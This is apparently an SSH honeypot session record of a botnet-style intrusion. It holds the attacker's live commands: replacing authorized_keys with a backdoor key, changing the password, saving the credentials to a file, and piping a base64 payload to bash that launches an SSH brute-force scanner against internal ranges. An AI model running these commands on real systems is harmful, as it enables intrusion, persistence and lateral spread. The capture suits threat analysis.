Session
creaky-painted-plover
Source
45.114.125.22
Protocol
ssh/exec
User
server
Auth attempts
1
Commands
26
Transcript
3.2 K
Client
SSH-2.0-libssh_0.9.6
exec:
cd ~; chattr -ia .ssh; lockr -ia .sshCredentials attempted
| username | password | method | tier | result |
|---|---|---|---|---|
| server | P@ssw0rd@123 | password | other | accepted |
Samples captured
| name | size | via | sha256 |
|---|---|---|---|
| [inline-base64] recovered | 570B | inline-base64 | bc78174a72f733a834324d2d8b194c42f6deac2f72a9f6a4b8b0b1e32a5e72ee |
Transcript
01:32:31 $ cd ~; chattr -ia .ssh; lockr -ia .ssh 01:32:31 $ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ 01:32:38 $ cat /proc/cpuinfo | grep name | wc -l 8 01:32:39 $ echo -e "P@ssw0rd@123\nAnNP6gSp1uBA\nAnNP6gSp1uBA"|passwd|bash 01:32:40 $ echo "P@ssw0rd@123\nAnNP6gSp1uBA\nAnNP6gSp1uBA\n"|passwd 01:32:41 $ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' AMD EPYC 7713 64-Core Processor 01:32:41 $ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' 15888 0 0 0 0 0 (587ms) 01:32:43 $ ls -lh $(which ls) -rwxr-xr-x 1 root root 133K Jan 24 2024 /usr/bin/ls (548ms) 01:32:44 $ crontab -l crontab -l 01:32:45 $ w 01:32:45 up 1 day, 22:22, 0 user, load average: 0.03, 0.04, 0.02 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT 01:32:45 $ uname -m x86_64 01:32:46 $ cat /proc/cpuinfo | grep model | grep name | wc -l 8 01:32:47 $ top top - 01:32:47 up 1 day, 22:22, 0 user, load average: 0.03, 0.04, 0.02 Tasks: 114 total, 1 running, 113 sleeping, 0 stopped, 0 zombie %Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st MiB Mem : 15888 total, 9056 free, 6831 used MiB Swap: 4095 total, 4095 free, 0 used PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node ^C 01:32:48 $ uname Linux 01:32:48 $ uname -a Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux 01:32:49 $ whoami server 01:32:50 $ lscpu | grep Model Model name: AMD EPYC 7713 64-Core Processor Models: 1 (733ms) 01:32:52 $ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' 24G (439ms) 01:32:55 $ echo "server P@ssw0rd@123" > /tmp/up.txt 01:32:56 $ rm -rf /var/tmp/dota* 01:32:58 $ cat /var/tmp/.systemcache436621 -cache-1a9f2b3c (482ms) 01:33:00 $ cat /var/tmp/.systemcache436621 -cache-1a9f2b3c (491ms) 01:33:01 $ echo "1" > /var/tmp/.systemcache436621 01:33:02 $ cat /var/tmp/.systemcache436621 -cache-1a9f2b3c (464ms) 01:33:03 $ cat /var/tmp/.systemcache436621 -cache-1a9f2b3c (435ms) 01:33:33 $ sleep 15s && cd /var/tmp; echo "IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw" | base64 --decode | bash